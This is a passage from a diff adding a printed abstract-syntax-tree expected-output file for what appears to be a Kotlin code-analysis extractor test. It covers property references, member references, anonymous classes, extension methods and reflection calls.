+#   10|                 1: [TypeAccess] Integer
+#   11|         3: [LocalVariableDeclStmt] var ...;
+#   11|           1: [LocalVariableDeclExpr] x1
+#   11|             0: [MethodAccess] get(...)
+#   11|               -1: [VarAccess] x0
+#   11|               0: [ClassInstanceExpr] new C(...)
+#   11|                 -3: [TypeAccess] C
+#   12|         4: [LocalVariableDeclStmt] var ...;
+#   12|           1: [LocalVariableDeclExpr] x2
+#   12|             0: [MethodAccess] getName(...)
+#   12|               -1: [VarAccess] x0
+#   13|         5: [LocalVariableDeclStmt] var ...;
+#   13|           1: [LocalVariableDeclExpr] x3
+#   13|             0: [MethodAccess] getGetter(...)
+#   13|               -1: [VarAccess] x0
+#   14|         6: [LocalVariableDeclStmt] var ...;
+#   14|           1: [LocalVariableDeclExpr] x4
+#   14|             0: [MemberRefExpr] ...::...
+#   14|               -4: [AnonymousClass] new Function1<C,Integer>(...) { ... }
+#   14|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   14|                     0: [Parameter] <dispatchReceiver>
+#   14|                   5: [BlockStmt] { ... }
+#   14|                     0: [SuperConstructorInvocationStmt] super(...)
+#   14|                     1: [ExprStmt] <Expr>;
+#   14|                       0: [AssignExpr] ...=...
+#   14|                         0: [VarAccess] this.<dispatchReceiver>
+#   14|                           -1: [ThisAccess] this
+#   14|                         1: [VarAccess] <dispatchReceiver>
+#   14|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   14|                     0: [Parameter] a0
+#   14|                   5: [BlockStmt] { ... }
+#   14|                     0: [ReturnStmt] return ...
+#   14|                       0: [MethodAccess] get(...)
+#   14|                         -1: [VarAccess] this.<dispatchReceiver>
+#   14|                           -1: [ThisAccess] this
+#   14|                         0: [VarAccess] a0
+#   14|                 1: [FieldDeclaration] KProperty1<C,Integer> <dispatchReceiver>;
+#   14|                   -1: [TypeAccess] KProperty1<C,Integer>
+#   14|                     0: [TypeAccess] C
+#   14|                     1: [TypeAccess] Integer
+#   14|               -3: [TypeAccess] Function1<C,Integer>
+#   14|                 0: [TypeAccess] C
+#   14|                 1: [TypeAccess] Integer
+#   14|               0: [VarAccess] x0
+#   15|         7: [LocalVariableDeclStmt] var ...;
+#   15|           1: [LocalVariableDeclExpr] x5
+#   15|             0: [PropertyRefExpr] ...::...
+#   15|               -4: [AnonymousClass] new KProperty0<Integer>(...) { ... }
+#   15|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   15|                     0: [Parameter] <dispatchReceiver>
+#   15|                   5: [BlockStmt] { ... }
+#   15|                     0: [SuperConstructorInvocationStmt] super(...)
+#   15|                     1: [ExprStmt] <Expr>;
+#   15|                       0: [AssignExpr] ...=...
+#   15|                         0: [VarAccess] this.<dispatchReceiver>
+#   15|                           -1: [ThisAccess] this
+#   15|                         1: [VarAccess] <dispatchReceiver>
+#   15|                 1: [FieldDeclaration] C <dispatchReceiver>;
+#   15|                   -1: [TypeAccess] C
+#   15|                 1: [Method] get
+#   15|                   5: [BlockStmt] { ... }
+#   15|                     0: [ReturnStmt] return ...
+#   15|                       0: [MethodAccess] getP0(...)
+#   15|                         -1: [VarAccess] this.<dispatchReceiver>
+#   15|                           -1: [ThisAccess] this
+#   15|                 1: [Method] invoke
+#   15|                   5: [BlockStmt] { ... }
+#   15|                     0: [ReturnStmt] return ...
+#   15|                       0: [MethodAccess] get(...)
+#   15|                         -1: [ThisAccess] this
+#   15|               -3: [TypeAccess] KProperty0<Integer>
+#   15|                 0: [TypeAccess] Integer
+#   15|               0: [ClassInstanceExpr] new C(...)
+#   15|                 -3: [TypeAccess] C
+#   17|         8: [LocalVariableDeclStmt] var ...;
+#   17|           1: [LocalVariableDeclExpr] y0
+#   17|             0: [PropertyRefExpr] ...::...
+#   17|               -4: [AnonymousClass] new KMutableProperty1<C,Integer>(...) { ... }
+#   17|                 1: [Constructor] 
+#   17|                   5: [BlockStmt] { ... }
+#   17|                     0: [SuperConstructorInvocationStmt] super(...)
+#   17|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   17|                     0: [Parameter] a0
+#   17|                   5: [BlockStmt] { ... }
+#   17|                     0: [ReturnStmt] return ...
+#   17|                       0: [MethodAccess] getP1(...)
+#   17|                         -1: [VarAccess] a0
+#   17|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   17|                     0: [Parameter] a0
+#   17|                   5: [BlockStmt] { ... }
+#   17|                     0: [ReturnStmt] return ...
+#   17|                       0: [MethodAccess] get(...)
+#   17|                         -1: [ThisAccess] this
+#   17|                         0: [VarAccess] a0
+#   17|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   17|                     0: [Parameter] a0
+#   17|                     1: [Parameter] a1
+#   17|                   5: [BlockStmt] { ... }
+#   17|                     0: [ReturnStmt] return ...
+#   17|                       0: [MethodAccess] setP1(...)
+#   17|                         -1: [VarAccess] a0
+#   17|                         0: [VarAccess] a1
+#   17|               -3: [TypeAccess] KMutableProperty1<C,Integer>
+#   17|                 0: [TypeAccess] C
+#   17|                 1: [TypeAccess] Integer
+#   18|         9: [LocalVariableDeclStmt] var ...;
+#   18|           1: [LocalVariableDeclExpr] y1
+#   18|             0: [MethodAccess] set(...)
+#   18|               -1: [VarAccess] y0
+#   18|               0: [ClassInstanceExpr] new C(...)
+#   18|                 -3: [TypeAccess] C
+#   18|               1: [IntegerLiteral] 5
+#   19|         10: [LocalVariableDeclStmt] var ...;
+#   19|           1: [LocalVariableDeclExpr] y2
+#   19|             0: [MethodAccess] getName(...)
+#   19|               -1: [VarAccess] y0
+#   20|         11: [LocalVariableDeclStmt] var ...;
+#   20|           1: [LocalVariableDeclExpr] y3
+#   20|             0: [MethodAccess] getSetter(...)
+#   20|               -1: [VarAccess] y0
+#   21|         12: [LocalVariableDeclStmt] var ...;
+#   21|           1: [LocalVariableDeclExpr] y4
+#   21|             0: [MemberRefExpr] ...::...
+#   21|               -4: [AnonymousClass] new Function2<C,Integer,Unit>(...) { ... }
+#   21|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   21|                     0: [Parameter] <dispatchReceiver>
+#   21|                   5: [BlockStmt] { ... }
+#   21|                     0: [SuperConstructorInvocationStmt] super(...)
+#   21|                     1: [ExprStmt] <Expr>;
+#   21|                       0: [AssignExpr] ...=...
+#   21|                         0: [VarAccess] this.<dispatchReceiver>
+#   21|                           -1: [ThisAccess] this
+#   21|                         1: [VarAccess] <dispatchReceiver>
+#   21|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   21|                     0: [Parameter] a0
+#   21|                     1: [Parameter] a1
+#   21|                   5: [BlockStmt] { ... }
+#   21|                     0: [ReturnStmt] return ...
+#   21|                       0: [MethodAccess] set(...)
+#   21|                         -1: [VarAccess] this.<dispatchReceiver>
+#   21|                           -1: [ThisAccess] this
+#   21|                         0: [VarAccess] a0
+#   21|                         1: [VarAccess] a1
+#   21|                 1: [FieldDeclaration] KMutableProperty1<C,Integer> <dispatchReceiver>;
+#   21|                   -1: [TypeAccess] KMutableProperty1<C,Integer>
+#   21|                     0: [TypeAccess] C
+#   21|                     1: [TypeAccess] Integer
+#   21|               -3: [TypeAccess] Function2<C,Integer,Unit>
+#   21|                 0: [TypeAccess] C
+#   21|                 1: [TypeAccess] Integer
+#   21|                 2: [TypeAccess] Unit
+#   21|               0: [VarAccess] y0
+#   22|         13: [LocalVariableDeclStmt] var ...;
+#   22|           1: [LocalVariableDeclExpr] y5
+#   22|             0: [PropertyRefExpr] ...::...
+#   22|               -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   22|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   22|                     0: [Parameter] <dispatchReceiver>
+#   22|                   5: [BlockStmt] { ... }
+#   22|                     0: [SuperConstructorInvocationStmt] super(...)
+#   22|                     1: [ExprStmt] <Expr>;
+#   22|                       0: [AssignExpr] ...=...
+#   22|                         0: [VarAccess] this.<dispatchReceiver>
+#   22|                           -1: [ThisAccess] this
+#   22|                         1: [VarAccess] <dispatchReceiver>
+#   22|                 1: [FieldDeclaration] C <dispatchReceiver>;
+#   22|                   -1: [TypeAccess] C
+#   22|                 1: [Method] get
+#   22|                   5: [BlockStmt] { ... }
+#   22|                     0: [ReturnStmt] return ...
+#   22|                       0: [MethodAccess] getP1(...)
+#   22|                         -1: [VarAccess] this.<dispatchReceiver>
+#   22|                           -1: [ThisAccess] this
+#   22|                 1: [Method] invoke
+#   22|                   5: [BlockStmt] { ... }
+#   22|                     0: [ReturnStmt] return ...
+#   22|                       0: [MethodAccess] get(...)
+#   22|                         -1: [ThisAccess] this
+#   22|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   22|                     0: [Parameter] a0
+#   22|                   5: [BlockStmt] { ... }
+#   22|                     0: [ReturnStmt] return ...
+#   22|                       0: [MethodAccess] setP1(...)
+#   22|                         -1: [VarAccess] this.<dispatchReceiver>
+#   22|                           -1: [ThisAccess] this
+#   22|                         0: [VarAccess] a0
+#   22|               -3: [TypeAccess] KMutableProperty0<Integer>
+#   22|                 0: [TypeAccess] Integer
+#   22|               0: [ClassInstanceExpr] new C(...)
+#   22|                 -3: [TypeAccess] C
+#   24|         14: [LocalVariableDeclStmt] var ...;
+#   24|           1: [LocalVariableDeclExpr] prop
+#   24|             0: [CastExpr] (...)...
+#   24|               0: [TypeAccess] KProperty2<C,Integer,Integer>
+#   24|                 0: [TypeAccess] C
+#   24|                 1: [TypeAccess] Integer
+#   24|                 2: [TypeAccess] Integer
+#   24|               1: [MethodAccess] single(...)
+#   24|                 -2: [TypeAccess] KCallable<?>
+#   24|                 -1: [TypeAccess] CollectionsKt
+#   24|                 0: [MethodAccess] getMembers(...)
+#   24|                   -1: [TypeLiteral] C.class
+#   24|                     0: [TypeAccess] C
+#   24|                 1: [LambdaExpr] ...->...
+#   24|                   -4: [AnonymousClass] new Function1<KCallable<?>,Boolean>(...) { ... }
+#   24|                     1: [Constructor] 
+#   24|                       5: [BlockStmt] { ... }
+#   24|                         0: [SuperConstructorInvocationStmt] super(...)
+#   24|                     1: [Method] invoke
+#   24|                       3: [TypeAccess] boolean
+#-----|                       4: (Parameters)
+#   24|                         0: [Parameter] it
+#   24|                           0: [TypeAccess] KCallable<?>
+#   24|                       5: [BlockStmt] { ... }
+#   24|                         0: [ReturnStmt] return ...
+#   24|                           0: [ValueEQExpr] ... (value equals) ...
+#   24|                             0: [MethodAccess] getName(...)
+#   24|                               -1: [VarAccess] it
+#   24|                             1: [StringLiteral] p3
+#   24|                   -3: [TypeAccess] Function1<KCallable<?>,Boolean>
+#   24|                     0: [TypeAccess] KCallable<?>
+#   24|                     1: [TypeAccess] Boolean
+#   25|         15: [LocalVariableDeclStmt] var ...;
+#   25|           1: [LocalVariableDeclExpr] z0
+#   25|             0: [MethodAccess] get(...)
+#   25|               -1: [VarAccess] prop
+#   25|               0: [ClassInstanceExpr] new C(...)
+#   25|                 -3: [TypeAccess] C
+#   25|               1: [IntegerLiteral] 5
+#   28|     3: [Class] Ccc
+#   28|       1: [Constructor] Ccc
+#   28|         5: [BlockStmt] { ... }
+#   28|           0: [SuperConstructorInvocationStmt] super(...)
+#   28|           1: [BlockStmt] { ... }
+#   29|       2: [Method] m
+#   29|         3: [TypeAccess] double
+#-----|         4: (Parameters)
+#   29|           0: [Parameter] i
+#   29|             0: [TypeAccess] int
+#   29|         5: [BlockStmt] { ... }
+#   29|           0: [ReturnStmt] return ...
+#   29|             0: [DoubleLiteral] 5.0
+#   32|     4: [Class] C
+#   32|       1: [Constructor] C
+#   32|         5: [BlockStmt] { ... }
+#   32|           0: [SuperConstructorInvocationStmt] super(...)
+#   32|           1: [BlockStmt] { ... }
+#   33|             0: [ExprStmt] <Expr>;
+#   33|               0: [KtInitializerAssignExpr] ...=...
+#   33|                 0: [VarAccess] p0
+#   34|             1: [ExprStmt] <Expr>;
+#   34|               0: [KtInitializerAssignExpr] ...=...
+#   34|                 0: [VarAccess] p1
+#   33|       2: [Method] getP0
+#   33|         3: [TypeAccess] int
+#   33|         5: [BlockStmt] { ... }
+#   33|           0: [ReturnStmt] return ...
+#   33|             0: [VarAccess] this.p0
+#   33|               -1: [ThisAccess] this
+#   33|       2: [FieldDeclaration] int p0;
+#   33|         -1: [TypeAccess] int
+#   33|         0: [IntegerLiteral] 1
+#   34|       4: [Method] getP1
+#   34|         3: [TypeAccess] int
+#   34|         5: [BlockStmt] { ... }
+#   34|           0: [ReturnStmt] return ...
+#   34|             0: [VarAccess] this.p1
+#   34|               -1: [ThisAccess] this
+#   34|       4: [Method] setP1
+#   34|         3: [TypeAccess] Unit
+#-----|         4: (Parameters)
+#   34|           0: [Parameter] <set-?>
+#   34|             0: [TypeAccess] int
+#   34|         5: [BlockStmt] { ... }
+#   34|           0: [ExprStmt] <Expr>;
+#   34|             0: [AssignExpr] ...=...
+#   34|               0: [VarAccess] this.p1
+#   34|                 -1: [ThisAccess] this
+#   34|               1: [VarAccess] <set-?>
+#   34|       4: [FieldDeclaration] int p1;
+#   34|         -1: [TypeAccess] int
+#   34|         0: [IntegerLiteral] 2
+#   36|       7: [Method] getP2
+#   36|         3: [TypeAccess] int
+#   36|         5: [BlockStmt] { ... }
+#   36|           0: [ReturnStmt] return ...
+#   36|             0: [IntegerLiteral] 1
+#   37|       8: [Method] setP2
+#   37|         3: [TypeAccess] Unit
+#-----|         4: (Parameters)
+#   37|           0: [Parameter] value
+#   37|             0: [TypeAccess] int
+#   37|         5: [BlockStmt] { ... }
+#   37|           0: [ReturnStmt] return ...
+#   37|             0: [VarAccess] INSTANCE
+#   40|       9: [ExtensionMethod] getP3
+#   40|         3: [TypeAccess] int
+#-----|         4: (Parameters)
+#   39|           0: [Parameter] <this>
+#   39|             0: [TypeAccess] int
+#   40|         5: [BlockStmt] { ... }
+#   40|           0: [ReturnStmt] return ...
+#   40|             0: [IntegerLiteral] 1
+#   41|       10: [ExtensionMethod] setP3
+#   41|         3: [TypeAccess] Unit
+#-----|         4: (Parameters)
+#   39|           0: [Parameter] <this>
+#   39|             0: [TypeAccess] int
+#   41|           1: [Parameter] value
+#   41|             0: [TypeAccess] int
+#   41|         5: [BlockStmt] { ... }
+#   41|           0: [ReturnStmt] return ...
+#   41|             0: [VarAccess] INSTANCE
+#   58|   3: [Class] Class1
+#   58|     3: [Constructor] Class1
+#   58|       5: [BlockStmt] { ... }
+#   58|         0: [SuperConstructorInvocationStmt] super(...)
+#   58|         1: [BlockStmt] { ... }
+#   59|     4: [Method] fn
+#   59|       3: [TypeAccess] Unit
+#   59|       5: [BlockStmt] { ... }
+#   60|         0: [ExprStmt] <Expr>;
+#   60|           0: [MethodAccess] println(...)
+#   60|             -1: [TypeAccess] ConsoleKt
+#   60|             0: [MemberRefExpr] ...::...
+#   60|               -4: [AnonymousClass] new Function2<Generic<Integer>,Integer,String>(...) { ... }
+#   60|                 1: [Constructor] 
+#   60|                   5: [BlockStmt] { ... }
+#   60|                     0: [SuperConstructorInvocationStmt] super(...)
+#   60|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   60|                     0: [Parameter] a0
+#   60|                     1: [Parameter] a1
+#   60|                   5: [BlockStmt] { ... }
+#   60|                     0: [ReturnStmt] return ...
+#   60|                       0: [MethodAccess] m1(...)
+#   60|                         -1: [VarAccess] a0
+#   60|                         0: [VarAccess] a1
+#   60|               -3: [TypeAccess] Function2<Generic<Integer>,Integer,String>
+#   60|                 0: [TypeAccess] Generic<Integer>
+#   60|                   0: [TypeAccess] Integer
+#   60|                 1: [TypeAccess] Integer
+#   60|                 2: [TypeAccess] String
+#   61|         1: [ExprStmt] <Expr>;
+#   61|           0: [MethodAccess] println(...)
+#   61|             -1: [TypeAccess] ConsoleKt
+#   61|             0: [MemberRefExpr] ...::...
+#   61|               -4: [AnonymousClass] new Function1<Integer,String>(...) { ... }
+#   61|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   61|                     0: [Parameter] <dispatchReceiver>
+#   61|                   5: [BlockStmt] { ... }
+#   61|                     0: [SuperConstructorInvocationStmt] super(...)
+#   61|                     1: [ExprStmt] <Expr>;
+#   61|                       0: [AssignExpr] ...=...
+#   61|                         0: [VarAccess] this.<dispatchReceiver>
+#   61|                           -1: [ThisAccess] this
+#   61|                         1: [VarAccess] <dispatchReceiver>
+#   61|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   61|                     0: [Parameter] a0
+#   61|                   5: [BlockStmt] { ... }
+#   61|                     0: [ReturnStmt] return ...
+#   61|                       0: [MethodAccess] m1(...)
+#   61|                         -1: [VarAccess] this.<dispatchReceiver>
+#   61|                           -1: [ThisAccess] this
+#   61|                         0: [VarAccess] a0
+#   61|                 1: [FieldDeclaration] Generic<Integer> <dispatchReceiver>;
+#   61|                   -1: [TypeAccess] Generic<Integer>
+#   61|                     0: [TypeAccess] Integer
+#   61|               -3: [TypeAccess] Function1<Integer,String>
+#   61|                 0: [TypeAccess] Integer
+#   61|                 1: [TypeAccess] String
+#   61|               0: [ClassInstanceExpr] new Generic<Integer>(...)
+#   61|                 -3: [TypeAccess] Generic<Integer>
+#   61|                   0: [TypeAccess] Integer
+#   62|         2: [ExprStmt] <Expr>;
+#   62|           0: [MethodAccess] println(...)
+#   62|             -1: [TypeAccess] ConsoleKt
+#   62|             0: [MemberRefExpr] ...::...
+#   62|               -4: [AnonymousClass] new Function1<Generic<Integer>,String>(...) { ... }
+#   62|                 1: [Constructor] 
+#   62|                   5: [BlockStmt] { ... }
+#   62|                     0: [SuperConstructorInvocationStmt] super(...)
+#   62|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   62|                     0: [Parameter] a0
+#   62|                   5: [BlockStmt] { ... }
+#   62|                     0: [ReturnStmt] return ...
+#   62|                       0: [MethodAccess] ext1(...)
+#   62|                         -2: [TypeAccess] Integer
+#   62|                         -1: [TypeAccess] ReflectionKt
+#   62|                         0: [VarAccess] a0
+#   62|               -3: [TypeAccess] Function1<Generic<Integer>,String>
+#   62|                 0: [TypeAccess] Generic<Integer>
+#   62|                   0: [TypeAccess] Integer
+#   62|                 1: [TypeAccess] String
+#   63|         3: [ExprStmt] <Expr>;
+#   63|           0: [MethodAccess] println(...)
+#   63|             -1: [TypeAccess] ConsoleKt
+#   63|             0: [MemberRefExpr] ...::...
+#   63|               -4: [AnonymousClass] new Function0<String>(...) { ... }
+#   63|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   63|                     0: [Parameter] <extensionReceiver>
+#   63|                   5: [BlockStmt] { ... }
+#   63|                     0: [SuperConstructorInvocationStmt] super(...)
+#   63|                     1: [ExprStmt] <Expr>;
+#   63|                       0: [AssignExpr] ...=...
+#   63|                         0: [VarAccess] this.<extensionReceiver>
+#   63|                           -1: [ThisAccess] this
+#   63|                         1: [VarAccess] <extensionReceiver>
+#   63|                 1: [Method] invoke
+#   63|                   5: [BlockStmt] { ... }
+#   63|                     0: [ReturnStmt] return ...
+#   63|                       0: [MethodAccess] ext1(...)
+#   63|                         -2: [TypeAccess] Integer
+#   63|                         -1: [TypeAccess] ReflectionKt
+#   63|                         0: [VarAccess] this.<extensionReceiver>
+#   63|                           -1: [ThisAccess] this
+#   63|                 1: [FieldDeclaration] Generic<Integer> <extensionReceiver>;
+#   63|                   -1: [TypeAccess] Generic<Integer>
+#   63|                     0: [TypeAccess] Integer
+#   63|               -3: [TypeAccess] Function0<String>
+#   63|                 0: [TypeAccess] String
+#   63|               0: [ClassInstanceExpr] new Generic<Integer>(...)
+#   63|                 -3: [TypeAccess] Generic<Integer>
+#   63|                   0: [TypeAccess] Integer
+#   64|         4: [ExprStmt] <Expr>;
+#   64|           0: [MethodAccess] println(...)
+#   64|             -1: [TypeAccess] ConsoleKt
+#   64|             0: [MemberRefExpr] ...::...
+#   64|               -4: [AnonymousClass] new Function1<Generic<Integer>,String>(...) { ... }
+#   64|                 1: [Constructor] 
+#   64|                   5: [BlockStmt] { ... }
+#   64|                     0: [SuperConstructorInvocationStmt] super(...)
+#   64|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   64|                     0: [Parameter] a0
+#   64|                   5: [BlockStmt] { ... }
+#   64|                     0: [ReturnStmt] return ...
+#   64|                       0: [MethodAccess] ext2(...)
+#   64|                         -1: [TypeAccess] ReflectionKt
+#   64|                         0: [VarAccess] a0
+#   64|               -3: [TypeAccess] Function1<Generic<Integer>,String>
+#   64|                 0: [TypeAccess] Generic<Integer>
+#   64|                   0: [TypeAccess] Integer
+#   64|                 1: [TypeAccess] String
+#   65|         5: [ExprStmt] <Expr>;
+#   65|           0: [MethodAccess] println(...)
+#   65|             -1: [TypeAccess] ConsoleKt
+#   65|             0: [MemberRefExpr] ...::...
+#   65|               -4: [AnonymousClass] new Function0<String>(...) { ... }
+#   65|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   65|                     0: [Parameter] <extensionReceiver>
+#   65|                   5: [BlockStmt] { ... }
+#   65|                     0: [SuperConstructorInvocationStmt] super(...)
+#   65|                     1: [ExprStmt] <Expr>;
+#   65|                       0: [AssignExpr] ...=...
+#   65|                         0: [VarAccess] this.<extensionReceiver>
+#   65|                           -1: [ThisAccess] this
+#   65|                         1: [VarAccess] <extensionReceiver>
+#   65|                 1: [Method] invoke
+#   65|                   5: [BlockStmt] { ... }
+#   65|                     0: [ReturnStmt] return ...
+#   65|                       0: [MethodAccess] ext2(...)
+#   65|                         -1: [TypeAccess] ReflectionKt
+#   65|                         0: [VarAccess] this.<extensionReceiver>
+#   65|                           -1: [ThisAccess] this
+#   65|                 1: [FieldDeclaration] Generic<Integer> <extensionReceiver>;
+#   65|                   -1: [TypeAccess] Generic<Integer>
+#   65|                     0: [TypeAccess] Integer
+#   65|               -3: [TypeAccess] Function0<String>
+#   65|                 0: [TypeAccess] String
+#   65|               0: [ClassInstanceExpr] new Generic<Integer>(...)
+#   65|                 -3: [TypeAccess] Generic<Integer>
+#   65|                   0: [TypeAccess] Integer
+#   67|         6: [ExprStmt] <Expr>;
+#   67|           0: [MethodAccess] println(...)
+#   67|             -1: [TypeAccess] ConsoleKt
+#   67|             0: [PropertyRefExpr] ...::...
+#   67|               -4: [AnonymousClass] new KMutableProperty1<Generic<Integer>,Integer>(...) { ... }
+#   67|                 1: [Constructor] 
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [SuperConstructorInvocationStmt] super(...)
+#   67|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   67|                     0: [Parameter] a0
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [ReturnStmt] return ...
+#   67|                       0: [MethodAccess] getP2(...)
+#   67|                         -1: [VarAccess] a0
+#   67|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   67|                     0: [Parameter] a0
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [ReturnStmt] return ...
+#   67|                       0: [MethodAccess] get(...)
+#   67|                         -1: [ThisAccess] this
+#   67|                         0: [VarAccess] a0
+#   67|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   67|                     0: [Parameter] a0
+#   67|                     1: [Parameter] a1
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [ReturnStmt] return ...
+#   67|                       0: [MethodAccess] setP2(...)
+#   67|                         -1: [VarAccess] a0
+#   67|                         0: [VarAccess] a1
+#   67|               -3: [TypeAccess] KMutableProperty1<Generic<Integer>,Integer>
+#   67|                 0: [TypeAccess] Generic<Integer>
+#   67|                   0: [TypeAccess] Integer
+#   67|                 1: [TypeAccess] Integer
+#   68|         7: [ExprStmt] <Expr>;
+#   68|           0: [MethodAccess] println(...)
+#   68|             -1: [TypeAccess] ConsoleKt
+#   68|             0: [PropertyRefExpr] ...::...
+#   68|               -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   68|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   68|                     0: [Parameter] <dispatchReceiver>
+#   68|                   5: [BlockStmt] { ... }
+#   68|                     0: [SuperConstructorInvocationStmt] super(...)
+#   68|                     1: [ExprStmt] <Expr>;
+#   68|                       0: [AssignExpr] ...=...
+#   68|                         0: [VarAccess] this.<dispatchReceiver>
+#   68|                           -1: [ThisAccess] this
+#   68|                         1: [VarAccess] <dispatchReceiver>
+#   68|                 1: [FieldDeclaration] Generic<Integer> <dispatchReceiver>;
+#   68|                   -1: [TypeAccess] Generic<Integer>
+#   68|                     0: [TypeAccess] Integer
+#   68|                 1: [Method] get
+#   68|                   5: [BlockStmt] { ... }
+#   68|                     0: [ReturnStmt] return ...
+#   68|                       0: [MethodAccess] getP2(...)
+#   68|                         -1: [VarAccess] this.<dispatchReceiver>
+#   68|                           -1: [ThisAccess] this
+#   68|                 1: [Method] invoke
+#   68|                   5: [BlockStmt] { ... }
+#   68|                     0: [ReturnStmt] return ...
+#   68|                       0: [MethodAccess] get(...)
+#   68|                         -1: [ThisAccess] this
+#   68|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   68|                     0: [Parameter] a0
+#   68|                   5: [BlockStmt] { ... }
+#   68|                     0: [ReturnStmt] return ...
+#   68|                       0: [MethodAccess] setP2(...)
+#   68|                         -1: [VarAccess] this.<dispatchReceiver>
+#   68|                           -1: [ThisAccess] this
+#   68|                         0: [VarAccess] a0
+#   68|               -3: [TypeAccess] KMutableProperty0<Integer>
+#   68|                 0: [TypeAccess] Integer
+#   68|               0: [ClassInstanceExpr] new Generic<Integer>(...)
+#   68|                 -3: [TypeAccess] Generic<Integer>
+#   68|                   0: [TypeAccess] Integer
+#   70|         8: [ExprStmt] <Expr>;
+#   70|           0: [MethodAccess] println(...)
+#   70|             -1: [TypeAccess] ConsoleKt
+#   70|             0: [PropertyRefExpr] ...::...
+#   70|               -4: [AnonymousClass] new KProperty0<Integer>(...) { ... }
+#   70|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   70|                     0: [Parameter] <dispatchReceiver>
+#   70|                   5: [BlockStmt] { ... }
+#   70|                     0: [SuperConstructorInvocationStmt] super(...)
+#   70|                     1: [ExprStmt] <Expr>;
+#   70|                       0: [AssignExpr] ...=...
+#   70|                         0: [VarAccess] this.<dispatchReceiver>
+#   70|                           -1: [ThisAccess] this
+#   70|                         1: [VarAccess] <dispatchReceiver>
+#   70|                 1: [FieldDeclaration] IntCompanionObject <dispatchReceiver>;
+#   70|                   -1: [TypeAccess] IntCompanionObject
+#   70|                 1: [Method] get
+#   70|                   5: [BlockStmt] { ... }
+#   70|                     0: [ReturnStmt] return ...
+#   70|                       0: [MethodAccess] getMAX_VALUE(...)
+#   70|                         -1: [VarAccess] this.<dispatchReceiver>
+#   70|                           -1: [ThisAccess] this
+#   70|                 1: [Method] invoke
+#   70|                   5: [BlockStmt] { ... }
+#   70|                     0: [ReturnStmt] return ...
+#   70|                       0: [MethodAccess] get(...)
+#   70|                         -1: [ThisAccess] this
+#   70|               -3: [TypeAccess] KProperty0<Integer>
+#   70|                 0: [TypeAccess] Integer
+#   70|               0: [VarAccess] Companion
+#   71|         9: [ExprStmt] <Expr>;
+#   71|           0: [MethodAccess] println(...)
+#   71|             -1: [TypeAccess] ConsoleKt
+#   71|             0: [PropertyRefExpr] ...::...
+#   71|               -4: [AnonymousClass] new KProperty0<Integer>(...) { ... }
+#   71|                 1: [Constructor] 
+#   71|                   5: [BlockStmt] { ... }
+#   71|                     0: [SuperConstructorInvocationStmt] super(...)
+#   71|                 1: [Method] get
+#   71|                   5: [BlockStmt] { ... }
+#   71|                     0: [ReturnStmt] return ...
+#   71|                       0: [VarAccess] MAX_VALUE
+#   71|                 1: [Method] invoke
+#   71|                   5: [BlockStmt] { ... }
+#   71|                     0: [ReturnStmt] return ...
+#   71|                       0: [MethodAccess] get(...)
+#   71|                         -1: [ThisAccess] this
+#   71|               -3: [TypeAccess] KProperty0<Integer>
+#   71|                 0: [TypeAccess] Integer
+#   72|         10: [ExprStmt] <Expr>;
+#   72|           0: [MethodAccess] println(...)
+#   72|             -1: [TypeAccess] ConsoleKt
+#   72|             0: [PropertyRefExpr] ...::...
+#   72|               -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   72|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   72|                     0: [Parameter] <dispatchReceiver>
+#   72|                   5: [BlockStmt] { ... }
+#   72|                     0: [SuperConstructorInvocationStmt] super(...)
+#   72|                     1: [ExprStmt] <Expr>;
+#   72|                       0: [AssignExpr] ...=...
+#   72|                         0: [VarAccess] this.<dispatchReceiver>
+#   72|                           -1: [ThisAccess] this
+#   72|                         1: [VarAccess] <dispatchReceiver>
+#   72|                 1: [FieldDeclaration] Rectangle <dispatchReceiver>;
+#   72|                   -1: [TypeAccess] Rectangle
+#   72|                 1: [Method] get
+#   72|                   5: [BlockStmt] { ... }
+#   72|                     0: [ReturnStmt] return ...
+#   72|                       0: [VarAccess] this.<dispatchReceiver>.height
+#   72|                         -1: [VarAccess] this.<dispatchReceiver>
+#   72|                           -1: [ThisAccess] this
+#   72|                 1: [Method] invoke
+#   72|                   5: [BlockStmt] { ... }
+#   72|                     0: [ReturnStmt] return ...
+#   72|                       0: [MethodAccess] get(...)
+#   72|                         -1: [ThisAccess] this
+#   72|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   72|                     0: [Parameter] a0
+#   72|                   5: [BlockStmt] { ... }
+#   72|                     0: [ExprStmt] <Expr>;
+#   72|                       0: [AssignExpr] ...=...
+#   72|                         0: [VarAccess] this.<dispatchReceiver>.height
+#   72|                           -1: [VarAccess] this.<dispatchReceiver>
+#   72|                             -1: [ThisAccess] this
+#   72|                         1: [VarAccess] a0
+#   72|               -3: [TypeAccess] KMutableProperty0<Integer>
+#   72|                 0: [TypeAccess] Integer
+#   72|               0: [ClassInstanceExpr] new Rectangle(...)
